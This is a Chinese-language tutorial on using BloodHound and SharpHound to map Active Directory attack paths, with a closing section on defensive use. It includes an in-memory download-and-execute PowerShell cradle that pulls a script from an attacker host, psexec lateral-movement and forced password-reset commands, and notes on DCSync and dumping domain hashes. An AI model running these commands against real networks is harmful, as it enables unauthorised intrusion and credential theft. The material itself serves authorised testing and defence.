BloodHound实战指南:内网渗透测试中的关系图谱分析与攻击路径发现
1. 项目概述:为什么我们需要BloodHound?
如果你做过内网渗透测试,尤其是针对Windows域环境的,肯定有过这样的体验:费了九牛二虎之力拿到了一台域内机器的权限,然后呢?面对成百上千的用户、计算机、组,你就像站在一个巨大的迷宫里,手里只有一张残缺的地图。你知道“域管理员”是最终目标,但怎么过去?哪条路最近?哪个用户有到关键服务器的权限?哪个服务账户的密码可能被复用?这些问题,单靠传统的net user /domain、net group “domain admins” /domain这些命令,效率低得让人抓狂,而且很难看清全局的权限关系链。
这就是BloodHound诞生的背景。它不是一个直接用来攻击的工具,而是一个“内网关系图谱分析引擎”。简单说,它通过收集域内各种对象(用户、计算机、组、OU等)之间的关系数据,比如“谁是谁的成员”、“谁对谁有写权限”、“谁可以执行哪些敏感操作”,然后利用Neo4j图数据库进行存储和计算,最后通过一个直观的Web界面,把这些错综复杂的关系用图形化的方式展现出来。它的核心价值在于“可视化”和“路径发现”。它能告诉你,从你当前控制的“起点”(比如一个普通域用户),到你的“目标”(比如域管理员),存在哪些攻击路径,并且会按照攻击的难易程度(比如需要几步、涉及哪些攻击手法)进行排序。
我刚开始接触BloodHound时,感觉就像第一次用上了带导航的电子地图。以前是拿着纸质地图找路,现在是输入起点和终点,它直接给你规划出好几条路线,还告诉你哪条路有收费站(需要提权)、哪条路是高速(利用ACL滥用直达)。这种从“盲人摸象”到“上帝视角”的转变,对于渗透测试效率和深度的提升是颠覆性的。无论是红队进行攻击模拟,还是蓝队进行防御加固和攻击路径排查,它都是一个不可或缺的利器。
2. 核心原理与架构拆解:BloodHound是如何“看见”内网的?
要玩转BloodHound,不能只停留在“跑脚本、看结果”的层面。理解它的工作原理,能帮助你在数据收集不完整、结果有偏差时,知道问题出在哪里,以及如何调整。
2.1 数据收集器:SharpHound
BloodHound本身是前端展示和分析平台,数据的收集工作由一个独立的工具完成,叫做SharpHound。它是一个用C#编写的收集器,有.exe可执行文件和.ps1 PowerShell脚本两种形式。它的工作逻辑非常清晰:
- 枚举对象与关系:SharpHound会连接到域控制器(DC),通过LDAP协议查询整个Active Directory(AD)架构。它不仅仅收集用户、组、计算机这些基本信息,更重要的是收集它们之间的“边”(Edge)。
- 收集的关键关系类型:
- 成员关系:用户A是组B的成员。
- 本地管理员权限:用户A在计算机B上是本地管理员。这是横向移动的黄金路径。
- 远程桌面/WinRM权限:用户A可以远程登录到计算机B。
- ACL(访问控制列表)权限:这是BloodHound的杀手锏。它会收集所有AD对象(用户、计算机、组等)的DACL(自主访问控制列表)。例如,用户A对用户B有“强制更改密码”的权限,或者对计算机C的计算机对象有“写入属性”的权限(可能导致基于资源的约束委派攻击)。
- 会话信息:哪些用户登录了哪些计算机。这有助于发现“跳板”。
- 域信任关系:如果有多个域,它会收集域之间的信任关系。
- 运行模式:SharpHound需要在域内一台已控机器上执行。它默认会使用当前用户的上下文去收集信息。如果当前用户权限不足(比如不是域用户),很多数据就收集不到。因此,在实战中,我们往往在获取一个域用户权限后,第一时间运行SharpHound收集数据。
注意:SharpHound的运行会产生大量的LDAP查询和网络流量,行为特征明显。在防守严密的真实环境或演练中,可能需要使用更隐蔽的参数(如
-CollectionMethod只收集特定数据)或进行流量混淆。
2.2 图数据库引擎:Neo4j
收集到的海量关系数据,如果用传统的关系型数据库存储和查询,效率会非常低下。Neo4j是一种原生图数据库,它的存储和计算方式就是为“关系”而生的。
- 节点(Node):代表AD中的实体,如用户(User)、计算机(Computer)、组(Group)、域(Domain)。每个节点有标签(如
User)和属性(如name,distinguishedname)。 - 边(Relationship):代表节点之间的关系,有方向性和类型。例如,
(User:Alice)-[:MemberOf]->(Group:Domain Admins)表示Alice是域管理员组的成员。(User:Bob)-[:AdminTo]->(Computer:Server01)表示Bob是Server01的本地管理员。
BloodHound将SharpHound收集的JSON数据导入Neo4j后,整个域环境就变成了一张巨大的“图”。寻找攻击路径,就变成了在这张图上执行“图遍历”算法,寻找从源节点(已控节点)到目标节点(如域管理员)的连通路径。
2.3 前端分析与展示界面
这是用户直接交互的部分。它是一个基于JavaScript的Web应用,通过调用Neo4j的API来查询数据并渲染成力导向图。你可以:
- 搜索节点:直接搜索用户、计算机名。
- 标记节点:将已控制的节点标记为“已拥有”(Owned),将目标节点标记为“高价值目标”。
- 路径查找:一键查询从“已拥有”节点到“高价值目标”的所有可能路径,并按路径长度、复杂度和涉及的攻击手法分类(如“最短路径”、“ACL路径”、“基于会话的路径”)。
- 节点信息查看:点击任何一个节点,可以查看其所有入边和出边,也就是“谁可以影响它”和“它可以影响谁”。
这三者构成了BloodHound的完整工作流:SharpHound收集数据 -> 导入Neo4j数据库 -> 前端界面进行可视化分析和路径规划。
3. 环境搭建与初始化:从零开始部署BloodHound
虽然有很多一键安装脚本,但我建议手动走一遍流程,这能加深你对整个系统依赖关系的理解。这里以在Kali Linux上部署为例。
3.1 安装Neo4j图数据库
Neo4j是BloodHound的后端核心,必须首先安装。
# 1. 添加Neo4j的官方APT仓库,并安装 wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add - echo 'deb https://debian.neo4j.com stable latest' | sudo tee /etc/apt/sources.list.d/neo4j.list sudo apt update sudo apt install neo4j -y # 2. 启动并设置Neo4j服务开机自启 sudo systemctl enable neo4j sudo systemctl start neo4j # 3. 检查服务状态 sudo systemctl status neo4j安装完成后,Neo4j服务会监听本地7474端口(HTTP)和7687端口(Bolt协议)。第一次访问需要修改默认密码。
# 通过命令行工具修改默认密码(默认用户/密码都是neo4j) cypher-shell -u neo4j -p neo4j # 进入shell后执行 :server change-password # 按提示输入旧密码(neo4j)和新密码(如`BloodHound123!`)实操心得:Neo4j的密码强度要求很高,最好包含大小写字母、数字和特殊字符。记好这个密码,后面BloodHound连接要用。如果是在测试环境,为了方便可以设为简单密码,但生产或演练环境务必使用强密码。
3.2 安装BloodHound前端
BloodHound本身是一个Electron桌面应用,也可以使用社区版的Web版本。这里安装桌面版。
# 下载最新的BloodHound AMD64 Linux版本,请从GitHub Release页面获取最新链接 # 例如(版本号可能变化): wget https://github.com/BloodHoundAD/BloodHound/releases/download/v4.3.1/BloodHound-linux-x64.zip unzip BloodHound-linux-x64.zip -d BloodHound cd BloodHound # 运行BloodHound ./BloodHound --no-sandbox第一次运行,它会提示你输入Neo4j的连接信息:
- Database URL:
bolt://localhost:7687 - Username:
neo4j - Password:你刚才设置的密码(如
BloodHound123!)
连接成功后,界面是空的,因为我们还没有导入任何数据。
3.3 准备数据收集器:SharpHound
SharpHound是收集数据的客户端,需要在内网目标机器上运行。我们通常在攻击机上准备好各种版本的SharpHound。
# 在Kali上,从官方GitHub下载SharpHound的PS1脚本和exe文件 # 1. 下载SharpHound.ps1 wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.ps1 # 2. 下载编译好的SharpHound.exe (可能需要从Release页面下载) # 例如: wget https://github.com/BloodHoundAD/BloodHound/releases/download/v4.3.1/SharpHound.exe # 3. 也可以下载压缩包格式,便于上传 wget https://github.com/BloodHoundAD/BloodHound/releases/download/v4.3.1/SharpHound.zip unzip SharpHound.zip现在,你的工具包里应该有了:
- BloodHound GUI:运行在你的攻击机(Kali)上。
- SharpHound:准备好上传到目标内网机器。
4. 实战数据收集与导入:把内网“地图”画出来
这是将理论转化为实战成果的关键一步。假设我们已经通过某种方式(比如钓鱼、漏洞利用)获得了一台域内Windows主机的初始访问权限,并且拿到了一个域用户(CORP\jdoe)的权限。
4.1 在目标机器上执行SharpHound
有多种方法将SharpHound上传并执行。
方法一:直接运行SharpHound.exe(推荐)如果目标机器能出网访问你的Kali,最简单。
# 在目标机器的PowerShell或CMD中,切换到SharpHound所在目录执行 .\SharpHound.exe --CollectionMethods All --Domain corp.com --OutputDirectory C:\Windows\Temp--CollectionMethods All:收集所有类型的数据(会话、本地组、ACL等)。如果环境敏感,可以考虑只收集部分,如--CollectionMethods Group, LocalGroup, ACL。--Domain:指定域名,确保解析正确。--OutputDirectory:指定输出JSON文件的目录。
方法二:内存加载PowerShell脚本(无文件落地)防守方可能会监控可疑的.exe文件执行。这时可以使用无文件方式。
# 在攻击机(Kali)上启动一个HTTP服务 python3 -m http.server 8080 # 将SharpHound.ps1放在当前目录 # 在目标机器的PowerShell中,远程下载并执行(一行命令) IEX (New-Object Net.WebClient).DownloadString('http://<你的Kali_IP>:8080/SharpHound.ps1'); Invoke-BloodHound -CollectionMethod All -Domain corp.com -OutputDirectory C:\Windows\Temp方法三:使用Cobalt Strike等C2框架集成在高级红队行动中,通常通过C2的execute-assembly或powerpick等功能来运行SharpHound,流量更隐蔽。
执行完成后,会在指定的输出目录(如C:\Windows\Temp)生成一个时间戳命名的ZIP文件,例如20241015113211_BloodHound.zip。这个ZIP里包含了多个JSON文件。
4.2 将数据导入BloodHound
现在,我们需要把这个ZIP文件从目标机器传回我们的攻击机。
# 在Kali上,从目标机下载ZIP文件(假设你已建立某种通道,如SSH、SMB等) # 例如,如果目标机开启了SMB共享,你可以用smbclient # 或者,如果你有反向shell,可以在目标机用certutil或powershell进行base64编码传输 # 这里演示一个简单的,如果目标机能被直接访问(仅测试环境): # 在Kali上: scp administrator@<目标机_IP>:/C:/Windows/Temp/20241015113211_BloodHound.zip /tmp/拿到ZIP文件后,打开BloodHound GUI。
- 点击左上角的“Upload Data”按钮。
- 选择你下载的ZIP文件。
- 点击“Upload”。
BloodHound会将ZIP中的JSON数据解析并导入到后端的Neo4j数据库中。导入成功后,界面左上方会显示数据库中的节点和边的统计数量(如“Users: 1500, Computers: 800, Relationships: 50000”)。至此,内网的“地图”已经加载完毕。
注意事项:数据收集的完整性至关重要。如果执行SharpHound的账户权限很低(如普通域用户),可能无法收集到某些关键数据,比如:
- 本地管理员信息:需要远程访问注册表或SAM的权限,普通用户可能无法枚举所有计算机的本地管理员。
- 会话信息:需要目标计算机上的管理员权限才能远程查询NetSessionEnum。 因此,在渗透过程中,每当你提升了一次权限(例如,从一个普通用户提升到某台服务器的本地管理员),都应该重新运行一次SharpHound,以收集更全面、更准确的数据。BloodHound支持数据合并,多次导入的数据会自动整合。
5. 核心功能实战解析:像黑客一样思考与操作
数据导入后,真正的“狩猎”开始了。BloodHound的界面看似复杂,但核心功能就那几个,用好了事半功倍。
5.1 搜索与标记:锁定起点与目标
- 搜索你的起点:在顶部搜索框,输入你已控制的用户或计算机名,例如
jdoe。在结果中右键点击该用户节点,选择“Mark User as Owned”。节点的颜色会变成红色,表示这是你的攻击起点。 - 搜索高价值目标:搜索
DOMAIN ADMINS组。右键点击,选择“Mark Group as High Value”。节点的颜色会变成金黄色。你的目标就是找到从红色节点到金黄色节点的路径。
5.2 路径发现与分析:规划攻击路线
这是BloodHound最强大的功能。右键点击你标记为“已拥有”的节点(红色),选择“Find Shortest Paths to High Value Targets”。
BloodHound会瞬间计算出所有从该节点到所有高价值目标的最短路径,并以列表形式展示在右侧。列表会按路径长度排序,通常最短的路径最吸引人。
解读一条典型路径: 假设路径显示为:jdoe -> MemberOf -> HelpDesk组 -> MemberOf -> Server Operators组 -> AdminTo -> DC01.corp.com -> MemberOf -> Domain Admins组。
这条路径解读如下:
- 用户
jdoe是HelpDesk组的成员。 HelpDesk组是Server Operators组的成员(这可能是一个错误的组嵌套,是常见的安全隐患)。Server Operators组在域控制器DC01上拥有本地管理员权限(AdminTo)。这是关键一跳!因为Server Operators是Windows内置的权限很高的组。- 由于
DC01是一台域控制器,其本地管理员权限等价于域管理员权限。因此,Server Operators组通过DC01间接成为了Domain Admins的成员(在BloodHound的推导逻辑中)。
攻击思路:
- 你现在是
jdoe。 - 因为
jdoe在Server Operators组里(通过嵌套),所以你对域控制器DC01有本地管理员权限。 - 你可以通过PsExec、WMI、WinRM等方式横向移动到
DC01。 - 在
DC01上,你可以直接dump出域哈希(NTDS.dit)或者添加一个域管理员账户,从而完全控制整个域。
5.3 节点信息深度挖掘:发现隐藏的宝石
除了自动路径发现,手动分析节点信息往往能发现更隐蔽的路径。点击任何一个节点,界面下方会显示其“属性”和“连接”。
- 入边(Inbound):显示“谁可以影响这个节点”。例如,查看一个普通服务器
SRV01的入边,可能会发现:SomeUser对SRV01的计算机对象有WriteProperty权限。这可能允许SomeUser配置基于资源的约束委派,从而获得该服务器的权限。HelpDesk组对SRV01上的SomeService服务账户有AllExtendedRights,可以修改该服务账户的密码。
- 出边(Outbound):显示“这个节点可以影响谁”。例如,查看一个服务账户
SVC_SQL的出边,可能会发现它对另一个服务器SRV-DB有AdminTo权限。
高级查询(Cypher): 对于复杂需求,可以直接使用Neo4j的查询语言Cypher。在BloodHound的搜索框旁边,点击“Raw Query”标签。例如,查询所有具有“DCSync”权限的用户(可以直接复制域哈希):
MATCH (u:User)-[:DCSync]->(d:Domain) RETURN u.name这个查询会列出所有能直接进行DCSync攻击的用户,这是极其危险的权限。
5.4 攻击链构建与执行
BloodHound给出了路径,但具体每一步怎么走,需要结合其他工具。
- 从用户到本地管理员(AdminTo):如果路径显示
UserA -> AdminTo -> ComputerB,意味着UserA在ComputerB上是本地管理员。你可以使用psexec.py(Impacket)、wmiexec.py、evil-winrm等工具进行横向移动。# 使用Impacket的psexec示例 psexec.py corp.com/jdoe:Password123@computerB.corp.com - 利用ACL权限:如果路径显示
UserA -> GenericAll -> UserB,意味着UserA对UserB有完全控制权。你可以使用PowerView等工具强制修改UserB的密码。# 在已控主机上,使用PowerView Set-DomainUserPassword -Identity UserB -AccountPassword (ConvertTo-SecureString 'NewP@ssw0rd!' -AsPlainText -Force) -Verbose - 基于资源的约束委派(Resource Based Constrained Delegation):如果路径涉及
WriteProperty到计算机对象,这可能是配置RBACD攻击的入口。需要用到Rubeus和Impacket等工具进行票据请求和利用。
BloodHound的价值在于,它把这些分散的、需要深厚知识才能串联起来的攻击点,直观地呈现在你面前,并告诉你:“看,从这里到那里,可以这样走。”
6. 蓝队视角:如何利用BloodHound进行防御
BloodHound不仅是攻击者的利器,更是防御者和安全审计人员的“显微镜”。通过定期运行SharpHound收集数据,蓝队可以:
- 发现配置错误和权限蔓延:最常见的攻击路径往往源于错误的组嵌套、过宽的本地管理员分配、不当的服务账户权限等。蓝队可以定期分析BloodHound数据,主动寻找这些“最短路径”并修复。
- 修复示例:发现一个普通业务组
Marketing因为历史原因被嵌套进了Server Operators组。应立即将其移除。
- 修复示例:发现一个普通业务组
- 模拟攻击,验证防护效果:在完成一批安全加固(如清理本地管理员、修改ACL)后,重新运行SharpHound收集数据,再次查看从某个低权限起点到域管理员的路径。如果之前发现的路径消失了,说明加固有效。
- 事件响应与影响面分析:当某个用户账户被确认为失陷后,可以立即在BloodHound中将其标记为“Owned”,然后快速查看该账户能直接或间接访问哪些关键资产(服务器、数据库、高管账户等),从而快速划定影响范围,指导 containment(遏制)工作。
- 权限最小化审计:使用Cypher查询,快速导出所有拥有危险权限的账户列表,例如所有具有
DCSync权限的用户、所有被分配到域计算机本地管理员组的用户等,进行集中审查和清理。
对于蓝队而言,建立定期的BloodHound扫描和分析流程,是构建“主动防御”体系的关键一环。它能将抽象的“权限风险”转化为可视化的“攻击路径”,让安全决策更加有的放矢。
7. 常见问题、排查技巧与进阶用法
在实际使用中,你肯定会遇到各种问题。这里记录一些我踩过的坑和解决办法。
7.1 数据收集相关问题
问题1:SharpHound运行失败,报错“Unable to contact LDAP server”
- 原因:当前上下文用户无法访问域控制器,或者DNS解析有问题。
- 排查:
- 先用
nslookup corp.com确认是否能解析到域控制器IP。 - 用
net use \\DC01\ipc$或dir \\DC01\c$测试是否能访问域控制器。 - 确保运行SharpHound的账户是域用户。
- 先用
- 解决:指定域控制器IP运行
SharpHound.exe --Domain corp.com --LdapServer 10.10.10.1。
问题2:收集到的会话信息或本地管理员信息很少
- 原因:执行账户权限不足。收集会话和本地管理员信息需要目标计算机上的管理员权限。
- 解决:尝试使用
-CollectionMethod参数只收集不需要高权限的数据,如ACL, ObjectProps, Group, Container。或者,先进行权限提升,再用高权限账户运行SharpHound。
问题3:ZIP文件很大,导入BloodHound很慢
- 原因:域环境规模庞大(几千个用户/计算机)。
- 解决:耐心等待。对于超大环境,可以考虑在性能更好的服务器上部署Neo4j。也可以尝试使用
SharpHound.exe的-NoSaveCache和-CompressData参数。
7.2 BloodHound界面与查询问题
问题4:BloodHound前端连接Neo4j失败
- 排查:
- 检查Neo4j服务是否运行:
sudo systemctl status neo4j。 - 检查防火墙是否放行了7687端口:
sudo ufw status。 - 在Kali上测试连接:
neo4j console(会在前台启动,看有无报错),或者用cypher-shell连接测试。
- 检查Neo4j服务是否运行:
- 解决:确认Neo4j的密码是否正确,BloodHound连接配置中的
bolt://localhost:7687是否正确。
问题5:Cypher查询不返回结果或报语法错误
- 原因:Cypher语法错误,或者查询的条件在当前数据中不存在。
- 排查:先从简单的查询开始,如
MATCH (u:User) RETURN u.name LIMIT 10,确认数据库有数据且查询语法正确。注意标签(如User)是区分大小写的。
7.3 进阶技巧与优化
技巧1:使用BloodHound Python驱动进行自动化对于需要集成到自动化流程中的场景,可以使用bloodhound-python这个纯Python的数据收集器,或者使用py2neo库直接与Neo4j数据库交互,进行批量查询和分析。
# 安装bloodhound-python收集器 pip install bloodhound bloodhound-python -d corp.com -u jdoe -p 'Password123' -ns 10.10.10.1 -c All技巧2:关注“高价值目标”以外的目标域管理员固然是终极目标,但有时直接路径很难获取。可以关注一些“次级高价值目标”,如:
- Exchange服务器:拥有邮箱权限可能带来新的攻击面。
- SQL服务器:数据库里可能存有凭证。
- 备份服务器:可能有权访问域控制器备份。 在BloodHound中搜索这些服务器,查看哪些用户对它们有权限,往往能发现意想不到的攻击链。
技巧3:结合外部工具丰富数据BloodHound的数据源是SharpHound。你可以将其他工具的输出(如PowerView获取的特定ACL、ADCS中发现的模板配置漏洞等)手动整合进分析过程,形成更全面的视野。
使用BloodHound的过程,是一个不断将抽象的权限概念转化为具体攻击动作的过程。它不能替代你对Windows认证协议(如NTLM、Kerberos)、活动目录安全机制(如ACL、委派)的理解,但它能极大地加速你的学习和实战效率。当你熟悉了它的节奏,你会发现,内网渗透从一门“艺术”变得更像一门有地图可循的“工程”。
